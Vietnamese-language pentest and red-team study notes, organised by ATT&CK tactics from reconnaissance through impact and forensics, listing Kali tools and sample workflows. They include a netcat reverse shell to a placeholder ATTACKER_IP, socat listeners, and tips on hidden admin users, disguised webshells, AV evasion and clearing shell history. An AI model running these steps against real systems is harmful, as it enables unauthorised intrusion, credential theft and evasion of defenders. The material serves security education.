01 – Reconnaissance (trinh sát/thu thập thông tin ban đầu)

* Reconnaissance là bước đầu của quy trình pentest/red team: gom càng nhiều dữ liệu công khai/ít gây chú ý càng tốt để hiểu “bề mặt tấn công” của mục tiêu trước khi quét sâu hay khai thác.
* Có 2 kiểu chính:
* Passive recon: không/ít chạm vào hạ tầng mục tiêu (OSINT, search engines, DNS công khai…). Ít gây log/ít ồn.
* Active recon: gửi truy vấn trực tiếp tới tài sản mục tiêu (DNS brute-force, HTTP fingerprinting…). Nhanh, giàu dữ liệu hơn nhưng dễ bị phát hiện|
* Phân chia theo nhóm:
* Nhóm thu thập OSINT & liệt kê subdomain: theHarvester, Amass, Sublist3r, SpiderFoot, Maltego CE, Recon-NG
* Nhóm DNS & hạ tầng: DNSrecon, DNSenum, Fierce
* Nhóm fingerprinting & biên phòng: WhatWeb, WAFW00F
* Nhóm nội dung tài liệu & typosquatting: Metagoofil, urlcrayzy
* Quy trình mẫu
* Xác định phạm vi (domain chính, công ty mẹ, ASN, dải IP công khai).
* Passive subdomain + email:
* amass enum -passive -d example.com -o amass.txt
* theHarvester -d example.com -b all -l 200 -f harvest.html
* sublist3r -d example.com -o s3.txt
* Hợp nhất & resolve (lọc hợp lệ):
* cat amass.txt s3.txt | sort -u > subs\_raw.txt
* dnsrecon -d example.com -D subs\_raw.txt -t brt -c dnsrecon.csv
* DNS & hạ tầng: thử dnsrecon -d example.com -t axfr (nhiều nơi chặn), dnsenum --enum example.com.
* Fingerprint web:
* whatweb -a 3 -v <https://sub.example.com>
* wafw00f <https://sub.example.com> (để biết có WAF → chỉnh chiến thuật).
* Metadata & typosquatting:
* metagoofil ... để lộ user nội bộ/phần mềm.
* urlcrazy ... để rà domain dễ gây nhầm (hữu ích cho đánh giá rủi ro thương hiệu/phishing).
* Tổng hợp & ưu tiên mục tiêu:
* subdomain có cổng 80/443 mở, công nghệ lỗi thời, không có WAF → đưa vào danh sách kiểm thử sâu.

02 – Resource Development (chuẩn bị tài nguyên)

* Resource Development là giai đoạn tự chuẩn bị hoặc tùy biến công cụ/tài nguyên trước khi tấn công, bao gồm:
* Danh sách từ khóa (wordlists) để brute-force, fuzzing, password cracking.
* Payload / Shellcode / Webshell để khai thác lỗ hổng.
* Công cụ hỗ trợ sinh dữ liệu phục vụ social engineering, password spraying, phishing…
* Phân chia theo nhóm:
* Wordlists & Tạo Wordlists: Seclists, CeWL, Crunch, CUPP, maskprocessor, wordlists (rockyou, fasttrack,…)
* Payload & Backdoor: msfvenom (tạo payload), MSSFPC(msfpc), Laudanum (bộ web-shell mẫu)
* Quy trình mẫu khi chuẩn bị tài nguyên
* Xác định mục tiêu → thu thập thông tin (tên công ty, nhân viên, công nghệ dùng).
* Sinh wordlist tùy chỉnh:
* CeWL lấy keyword từ site công ty.
* CUPP tạo passlist từ thông tin cá nhân.
* Kết hợp & lọc wordlist:
* Trộn rockyou.txt + wordlist tùy chỉnh → dùng sort -u.
* Chuẩn bị payload:
* msfvenom hoặc MSSFPC tạo shellcode/backdoor theo OS mục tiêu.
* Chuẩn bị webshell:
* Tùy ngôn ngữ máy chủ (PHP/ASP/JSP) → lấy từ Laudanum.
* Tổ chức kho tài nguyên:
* /wordlists (mật khẩu, username)
* /payloads (shellcode, backdoor)
* /webshells (PHP/ASP/JSP)

03 – Initial Access (xâm nhập ban đầu)

* Initial Access là giai đoạn bạn tìm cách đặt chân vào hệ thống lần đầu tiên sau khi đã trinh sát và chuẩn bị tài nguyên.
* Cách tiếp cận phổ biến:
* Khai thác lỗ hổng (web/app/service).
* Tấn công kỹ thuật xã hội (phishing, giả mạo).
* Khai thác cấu hình yếu (CMS, router, IoT).
* Injection attacks (SQLi, command injection, XSS…).
* Phân chia theo nhóm:
* Khung khai thác đa năng:
* Metasploit Framework, BeEF , Social-Engineer Toolkit (SET)
* Khai thác lỗ hổng Web:
* SQLMap , Commix , WPScan , xsser
* Khai thác thiết bị mạng / IoT:
* RouterSploit
* Quy trình mẫu Initial Access
* Xác định bề mặt tấn công
* Nếu là web: kiểm tra SQLi (sqlmap), XSS (xsser), command injection (commix).
* Nếu là WordPress: dùng wpscan.
* Nếu là router/IoT: thử routersploit.
* Khai thác
* Chạy exploit qua Metasploit hoặc script riêng.
* Với client-side: dùng BeEF hoặc SET để nhử nạn nhân.
* Tạo & gửi payload
* Tạo payload với msfvenom hoặc module Metasploit.
* Chèn payload vào trang giả mạo, email, file.
* Nhận kết nối (handler)
* Mở listener trong Metasploit (exploit/multi/handler).
* Chờ reverse shell/meterpreter từ mục tiêu.
* Xác nhận foothold
* Khi có shell: kiểm tra quyền, hệ điều hành, và chuẩn bị bước leo thang.

04 – Execution (thực thi payload/lệnh)

* Execution là giai đoạn sau khi đã có cách xâm nhập ban đầu (Initial Access), bạn thực thi mã, payload hoặc lệnh trên hệ thống mục tiêu để:
* Mở kết nối từ nạn nhân về máy tấn công (reverse shell).
* Duy trì kết nối shell tương tác.
* Chuyển file hoặc relay kết nối.
* Phân chia theo nhóm:
* Kết nối mạng & shell:
* ncat, socat, Netcat-traditional
* Ngôn ngữ scripting trên mục tiêu:
* PowerShell (pwsh), Python (simple http/server & exec)
* Tối ưu và nâng cấp shell:
* socat-relay, rlwrap (bọc shell), Bash reverse-shell helpers,
* Quy trình mẫu khi Execution
* Listener trên máy tấn công:
* ncat -lvnp 4444 hoặc socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane.
* Trigger payload trên mục tiêu:
* Netcat: nc -e /bin/bash ATTACKER\_IP 4444
* Python: reverse shell one-liner
* PowerShell: tải & chạy script
* Nâng cấp shell:
* Dùng python3 -c 'import pty; pty.spawn("/bin/bash")' để có TTY
* Dùng rlwrap từ đầu hoặc stty raw -echo; fg để cải thiện trải nghiệm
* Relay / Pivot nếu cần\*\*:
* socat hoặc SSH dynamic port forwarding

05 – Persistence (duy trì hiện diện)

* Persistence là giai đoạn sau khi đã xâm nhập thành công (Initial Access + Execution) bạn tạo hoặc giữ một “cửa hậu” để:
* Có thể quay lại hệ thống bất kỳ lúc nào, ngay cả khi phiên hiện tại bị mất.
* Không cần khai thác lại từ đầu.
* Giảm rủi ro bị chặn nếu chỉ có một vector truy cập.
* Persistence thường bao gồm:
* Webshell (cho web server).
* Tài khoản/khóa SSH bí mật.
* Tunneling / Pivoting để giữ đường vào qua máy trung gian.
* Remote Management Tool cho Windows/Linux.
* Phân chia theo nhóm:
* Webshell (giữ quyền trên web server)
* Weevely(web-shell), Laudanum(web-shell)
* Điểm bám vào hệ thống
* Evil-WinRM (điểm bám Windows), SSH authorized\_keys helpers
* Tunneling / Pivoting (giữ đường vào ẩn):
* Chisel (giữ đường vào qua tunnel), reGeorg/Neo-reGeorg (HTTP pivot)
* Quy trình mẫu Persistence
* Chèn điểm truy cập bí mật
* Web: upload Weevely / Laudanum.
* Windows: tạo user admin ẩn hoặc dùng Evil-WinRM với hash/password đã có.
* Linux: thêm SSH key.
* Tạo đường quay lại
* Dùng Chisel hoặc Neo-reGeorg để tạo tunnel ẩn.
* Lưu sẵn lệnh kết nối để tái sử dụng.
* Ẩn dấu vết & ngụy trang
* Đặt webshell ở thư mục không gây chú ý (ảnh, backup).
* Đổi tên file/command cho khó phát hiện.
* Kiểm tra định kỳ
* Đảm bảo điểm persistence hoạt động (cron job hoặc task scheduler test).

06 – Privilege Escalation (leo thang đặc quyền)

* Privilege Escalation là giai đoạn bạn đã có foothold (truy cập ban đầu) nhưng quyền hạn thấp (ví dụ: user thường), và mục tiêu là lên quyền cao hơn (root trên Linux, SYSTEM trên Windows).
* Có 2 loại chính:
* Vertical escalation – Từ user thấp → root/SYSTEM.
* Horizontal escalation – Truy cập từ một user → tài khoản user khác có quyền hơn.
* Kỹ thuật:
* Khai thác lỗ hổng kernel, SUID/SGID binary, dịch vụ sai cấu hình.
* Lợi dụng mật khẩu lưu sai chỗ, file config, task scheduler, sudo misconfig.
* Abuse binary có thể "escape" sang shell (GTFOBins).
* Phân chia theo nhóm:
* Enumeration & Suggestion Tool:
* linux-exploit-suggester, unix-privesc-check, BeRoot (Windows), lse (Linux Smart Enum nếu đã cài), LinEnum
* Exploit helper:
* GTFOBins helper/gtfoblookup, kernel-exploit collections.
* Quy trình mẫu Privilege Escalation
* Enumeration (thu thập thông tin)
* Linux: LinEnum, lse, linux-exploit-suggester
* Windows: BeRoot, manual checks (whoami /priv, systeminfo)
* Tìm vector leo quyền
* File SUID/SGID → GTFOBins.
* Sudo rule → chạy binary đặc biệt (sudo -l).
* Cron job có quyền root nhưng writable.
* Kernel cũ → kernel exploit.
* Khai thác
* Tải và chạy exploit tương ứng.
* Dùng GTFOBins để spawn shell root.
* Xác nhận & ổn định
* whoami → root hoặc NT AUTHORITY\SYSTEM.
* Tạo điểm persistence root (SSH key, backdoor).

07 – Defense Evasion (né phát hiện/che giấu)

* Defense Evasion là giai đoạn bạn né tránh hoặc vượt qua hệ thống phòng thủ như antivirus (AV), endpoint detection & response (EDR), firewall, sandbox…
* Mục tiêu:
* Giúp payload/backdoor chạy mà không bị phát hiện hoặc chặn.
* Giảm “dấu vết” để kéo dài thời gian tồn tại trong hệ thống.
* Ngụy trang mã độc thành file/trình hợp pháp hoặc mã hóa payload.
* Các kỹ thuật phổ biến:
* Packing (nén và mã hóa nhị phân).
* Encoding (mã hóa shellcode, thay đổi chữ ký).
* Obfuscation (làm rối code/script).
* Fileless execution (payload chạy trực tiếp trong memory).
* Phân chia theo nhóm:
* Payload generation + AV evasion:
* Veil-Evasion, Shellter, The Backdoor Factory, DKMC (Don't Kill My Cat)
* Packing / Compression:
* UPX (Ultimate Packer for eXecutables)
* Encoding / Script obfuscation:
* msfvenom encoders, sRDI (DLL→shellcode), Obfuscation scripts (donut, unicorn)
* Quy trình Defense Evasion:
* Chuẩn bị payload (msfvenom / custom binary).
* Obfuscate/Encode:
* Dùng msfvenom -e, Veil-Evasion, hoặc donut/unicorn cho script.
* Pack hoặc Inject:
* UPX → nén binary.
* Shellter/BDF → chèn vào file hợp pháp.
* Ngụy trang:
* Đặt tên và icon giống phần mềm hợp pháp.
* DKMC → giấu payload trong hình ảnh.
* Triển khai:
* Gửi qua phishing, tải từ web, hoặc chạy từ foothold đã có.

08 – Credential Access (thu/bẻ mật khẩu)

* Credential Access là giai đoạn thu thập thông tin xác thực (user/pass, hash, ticket…) từ hệ thống hoặc bẻ các thông tin đó để dùng cho lateral movement hay privilege escalation.
* Các nguồn lấy credentials:
* Bộ nhớ (RAM) – lấy plaintext pass, hash, ticket.
* File / Config – mật khẩu lưu trong script, config, registry.
* Network sniffing – bắt gói chứa hash/NTLM.
* Brute-force / Password spraying – đoán hoặc thử pass từ danh sách.
* Offline cracking – bẻ hash dump được.
* Phân chia theo nhóm:
* Trích xuất / dump credentials:
* Mimikatz, Impacket (secretsdump.py, GetNPUsers.py, GetUserSPNs.py), LaZagne, gpp-decrypt, reddump7
* Crack mật khẩu / hash:
* Hashcat, John the Ripper, hashid.
* Brute-force online:
* Kerbrute, Hashcat, Hydra, Medusa, Ncrack
* Quy trình mẫu Credential Access:
* Dump hash / ticket / plaintext
* Windows: mimikatz, secretsdump.py, LaZagne.
* Linux: đọc /etc/shadow, keychain, file config.
* Xác định loại hash
* Dùng hashid hoặc hashcat --example-hashes.
* Offline cracking
* hashcat (GPU) hoặc john (CPU) với wordlist như rockyou.txt.
* Tấn công Kerberos
* AS-REP roasting → GetNPUsers.py.
* Kerberoasting → GetUserSPNs.py.
* Brute-force online
* SSH/FTP → hydra, medusa, ncrack.
* AD user enum → kerbrute.
* Thu pass từ ứng dụng
* Dùng LaZagne trên máy nạn nhân hoặc đọc config thủ công.

09 – Discovery (khám phá nội bộ)

* Discovery là giai đoạn tìm hiểu hạ tầng nội bộ sau khi đã vào được mạng mục tiêu (thường là sau khi có foothold).
* Mục tiêu:
* Xác định host, dịch vụ, share, thiết bị mạng.
* Thu thập thông tin phục vụ lateral movement hoặc khai thác sâu.
* Hiểu “bản đồ” mạng nội bộ (network mapping).
* Phân chia theo nhóm:
* Network scanning:
* Nmap, Masscan
* Host discovery:
* netdiscover, arp-scan, nbtscan/nbtscan-unixwiz
* SMB & Windows enum:
* smbmap, enum4linux-ng, smbclient
* SNMP discovery:
* snmp-check/snmpwalk
* VPN & Directory enum:
* ike-scan, ldapsearch/ldap-utils
* Quy trình mẫu Discovery (trong mạng nội bộ)
* Xác định subnet
* ip a hoặc ifconfig để lấy dải IP.
* Host discovery
* netdiscover hoặc arp-scan để liệt kê IP đang online.
* Port & service scan
* Quét nhanh: masscan -p80,445 192.168.1.0/24 --rate 5000.
* Quét kỹ: nmap -A -p- 192.168.1.10.
* Liệt kê dịch vụ đặc biệt
* SMB: smbmap, enum4linux-ng, smbclient.
* SNMP: snmpwalk, snmp-check.
* NetBIOS: nbtscan.
* LDAP: ldapsearch.
* VPN: ike-scan.
* Tổng hợp bản đồ mạng
* Ghi chú host → dịch vụ → phiên bản → khả năng khai thác.

10 – Lateral Movement (di chuyển ngang)

* Lateral Movement là giai đoạn bạn đã xâm nhập một máy trong mạng nội bộ, sau đó di chuyển sang máy khác để mở rộng quyền kiểm soát.
* Mục tiêu:
* Truy cập các hệ thống quan trọng hơn (server, DC).
* Thu thập thêm credential, dữ liệu, hoặc chuẩn bị privilege escalation ở máy mới.
* Pivot vào subnet khác.
* Cách phổ biến:
* Sử dụng credential/hash đã thu được để đăng nhập máy khác.
* Lợi dụng dịch vụ quản trị từ xa (RDP, WinRM, SMB, WMI, MSSQL…).
* Dùng tunneling/proxy để truy cập subnet không trực tiếp kết nối.
* Phân chia theo nhóm:
* Công cụ đa năng cho Windows & SMB
* CrackMapExec, Impacket (psexec.py, smbexec.py, wmiexec.py, atexec.py, dcomexec.py, mssqlclient.py)
* Remote Management
* Evil-WinRM, xfreerdp/rdesktop
* SSH & Unix
* Sshpass
* Pivoting & Spray
* proxychains4, rdp/rdpspray tools
* Quy trình mẫu Lateral Movement (trong mạng Windows)
* Có credential/hash → kiểm tra truy cập máy khác:
* cme smb <subnet> -u user -p pass
* Hoặc thử hash: cme smb <subnet> -u user -H <NTLM\_hash>
* Chọn phương thức di chuyển:
* RDP → xfreerdp (GUI).
* WinRM → evil-winrm.
* SMB/WMI → psexec.py / wmiexec.py.
* MSSQL → mssqlclient.py.
* Nếu subnet khác không truy cập được trực tiếp → pivot:
* chisel / proxychains4 → route traffic qua host trung gian.
* Tránh bị phát hiện:
* Ưu tiên wmiexec.py hoặc smbexec.py (ít tạo file, stealth hơn psexec).
* Giới hạn số lần đăng nhập để tránh lockout.

11 – Collection (thu thập dữ liệu)

* Collection là giai đoạn thu thập thông tin/dữ liệu từ hệ thống hoặc mạng mục tiêu sau khi đã có quyền truy cập.
* Mục tiêu:
* Lấy dữ liệu nhạy cảm (file, credential, traffic, tài liệu).
* Phục vụ cho các giai đoạn sau như Exfiltration hoặc Impact.
* Phân tích nội dung để tìm giá trị (metadata, keyword, password).
* Phân chia theo nhóm:
* Network capture
* Wireshark, tshark/tcpdump, netsniff-ng
* Metadata & nội dung file
* exiftool (metadata), catdoc/pdfinfo/strings (trích xuất nội dung).
* Thu thập & đồng bộ file
* rclone (đồng bộ thu thập), smbclient/ftp/lftp (kéo file)
* Quy trình mẫu Collection
* Xác định nguồn dữ liệu
* Mạng: bắt traffic → tcpdump, Wireshark.
* File/document: tìm thư mục quan trọng, file config, share SMB/FTP.
* Bắt dữ liệu mạng
* Dùng tcpdump hoặc netsniff-ng để ghi pcap.
* Phân tích với Wireshark/tshark để tìm password, file transfer.
* Trích xuất thông tin file
* exiftool để lấy metadata.
* strings để tìm pass/URL/API key.
* Tải và đồng bộ dữ liệu
* SMB/FTP → smbclient, lftp.
* Cloud exfiltration → rclone (nếu được phép).

12 – Command & Control (C2 / điều khiển)

* Command & Control (C2) là giai đoạn thiết lập kênh liên lạc từ máy nạn nhân về máy tấn công sau khi xâm nhập, để:
* Gửi lệnh điều khiển từ attacker → victim.
* Nhận dữ liệu phản hồi.
* Giữ quyền truy cập lâu dài và ổn định.
* Kênh C2 có thể:
* Trực tiếp (TCP/UDP/HTTP/HTTPS).
* Qua tunnel (SSH, VPN, proxy).
* Qua kênh ẩn (DNS, ICMP, HTTP beaconing).
* Các công cụ & mục đích:
* Listener cơ bản
* Metasploit multi/handler, ncat listener, socat listener
* Tunnel & Pivot
* Chisel, frp (nếu đã cài), ssh reverse-tunnel
* DNS / giao thức ẩn
* iodine/dns2tcp, dnscat2
* Webshell-based pivot
* reGeorg/Neo-reGeorg
* Quy trình mẫu C2
* Chọn kênh C2 phù hợp
* Mạng mở: TCP reverse shell (ncat, multi/handler).
* Mạng bị chặn: HTTP/HTTPS beacon, DNS tunnel (dnscat2, iodine).
* Cần pivot: Chisel, Neo-reGeorg.
* Thiết lập listener
* Attacker mở listener (multi/handler, ncat, socat).
* Triển khai payload
* Trên victim: payload kết nối ngược về attacker.
* Duy trì & bảo mật kênh
* Mã hóa (SSL/TLS, SSH).
* Chạy ngầm (background), tự khởi động lại (cron, scheduled task).

13 – Exfiltration (rút dữ liệu)

* Exfiltration là giai đoạn chuyển dữ liệu từ mạng/hệ thống mục tiêu ra ngoài sau khi thu thập, thường là bước trước khi kết thúc chiến dịch.
* Mục tiêu:
* Lấy dữ liệu cần (tài liệu, database dump, credentials).
* Vượt qua firewall/DLP/IDS/EDR mà không bị phát hiện.
* Tối ưu tốc độ + giảm khả năng bị log.
* Kỹ thuật:
* Trực tiếp (SCP, rsync, HTTP upload).
* Ngụy trang (DNS, steganography).
* Giảm kích thước/dấu hiệu (nén, mã hóa, chia nhỏ).
* Các công cụ & mục đích
* Truyền file trực tiếp (TCP/HTTP/SFTP)
* scp/rsync, curl/wget (batch)
* Đồng bộ cloud / storage
* Rclone
* Tunnel vượt chặn
* httptunnel, iodine/dns2tcp
* Nén, chia nhỏ, mã hóa
* zip/7z (nén/chia nhỏ)
* Ẩn dữ liệu (Steganography)
* steghide/outguess (ẩn dữ liệu)
* Quy trình mẫu Exfiltration
* Chuẩn bị dữ liệu
* Lọc dữ liệu cần lấy.
* Nén + mã hóa (zip/7z) để giảm dung lượng và bảo mật.
* Chọn kênh truyền
* Nếu SSH mở: scp hoặc rsync.
* Nếu bị chặn TCP: HTTP (curl, httptunnel) hoặc DNS (iodine).
* Nếu muốn lưu trữ tạm: rclone lên cloud.
* Ngụy trang nếu cần
* Giấu dữ liệu trong ảnh/âm thanh (steghide, outguess).
* Kiểm tra & xóa dấu vết
* Xóa file tạm, clear history (history -c), log transfer.

14 – Impact (tác động/DoS, gây gián đoạn)

* Impact là giai đoạn tạo ảnh hưởng trực tiếp lên hệ thống hoặc dịch vụ mục tiêu, trong pentest có thể là:
* DoS (Denial of Service) – làm dịch vụ không thể truy cập.
* Disruption – làm gián đoạn kết nối hoặc chức năng.
* Data destruction/modification – thay đổi hoặc xóa dữ liệu (chỉ khi được phép).
* Các công cụ & mục đích
* HTTP / SSL DoS
* slowloris, thc-ssl-dos
* Multi-protocol DoS
* t50, hping3, nping
* Wi-Fi disruption
* MDK4 (Wi-Fi deauth/jam), aireplay-ng (deauth)
* Network layer attacks
* yersinia, macof.
* Quy trình mẫu Impact Testing (DoS)
* Xác định mục tiêu & phạm vi được phép
* Dịch vụ web, SSL, Wi-Fi, hoặc network device.
* Chọn công cụ phù hợp
* Web app layer → slowloris, thc-ssl-dos.
* Network layer → t50, hping3.
* Wi-Fi → MDK4, aireplay-ng.
* Layer 2 → yersinia, macof.
* Điều chỉnh cường độ
* Bắt đầu với tần suất thấp để đo phản ứng.
* Tăng dần đến ngưỡng chịu tải.
* Giám sát kết quả
* Dùng ping, curl, nmap để kiểm tra dịch vụ có phản hồi không.

15 – Forensics (pháp y số)

* Forensics là lĩnh vực phân tích dữ liệu từ thiết bị, hệ thống hoặc mạng để:
* Xác định nguyên nhân sự cố (incident response).
* Thu thập bằng chứng số để phục vụ điều tra pháp lý.
* Khôi phục dữ liệu bị xóa, ẩn hoặc hư hỏng.
* Các loại forensics:
* Disk forensics: phân tích ổ đĩa, partition, filesystem.
* Memory forensics: phân tích dump RAM.
* Network forensics: phân tích traffic (pcap).
* Artifact analysis: phân tích log, metadata, file.
* Các công cụ & mục đích
* Phân tích ổ đĩa & hệ thống file
* Autopsy, SleuthKit/tsk-tools
* Memory forensics
* Volatility/Volatility3
* Trích xuất & phân tích dữ liệu
* bulk-extractor, binwalk, foremost/scalpel
* Tạo image, khôi phục & cứu dữ liệu
* ddrescue/dc3dd, guymager, testdisk/photorec
* Timeline & hash
* plaso (log2timeline), hashdeep
* Quy trình mẫu Forensics
* Tạo bản sao bảo toàn bằng chứng
* ddrescue hoặc guymager để clone ổ đĩa → làm việc trên bản copy.
* Phân tích disk image
* Autopsy / SleuthKit để duyệt file, tìm file xóa, metadata.
* Carving dữ liệu ẩn
* foremost, scalpel để khôi phục file đã xóa.
* Phân tích memory dump
* Volatility để tìm process, kết nối, mã độc đang chạy.
* Trích xuất thông tin quan trọng
* bulk-extractor, binwalk, exiftool.
* Tạo timeline sự kiện
* log2timeline → phân tích hành vi theo thời gian.
* Bảo đảm tính toàn vẹn bằng chứng
* hashdeep để xác nhận file không bị thay đổi.

16 – Services & Other Tools (dịch vụ & tiện ích)

* Nhóm này không trực tiếp khai thác hay tấn công, mà đóng vai trò hỗ trợ trong suốt chiến dịch:
* Kết nối an toàn tới môi trường test.
* Quản lý container/máy ảo để mô phỏng hoặc chạy payload.
* Quản lý phiên làm việc khi SSH vào nhiều máy.
* Chạy script, tải file, xử lý dữ liệu JSON…
* Các công cụ & mục đích
* VPN & Kết nối bảo mật
* OpenVPN/WireGuard, OpenSSH (client/server)
* Container & Máy ảo
* Docker/Podman, QEMU/KVM
* Quản lý phiên & automation
* tmux/screen, Git
* Download & xử lý file/script
* curl/wget, editors (vim/nano)
* Ngôn ngữ & xử lý dữ liệu
* Python3/pip, jq

Recon → Resource Dev → Initial Access → Execution → Persistence → PrivEsc → Defense Evasion → Cred Access → Discovery → Lateral Movement → Collection → C2 → Exfiltration → Impact → Forensics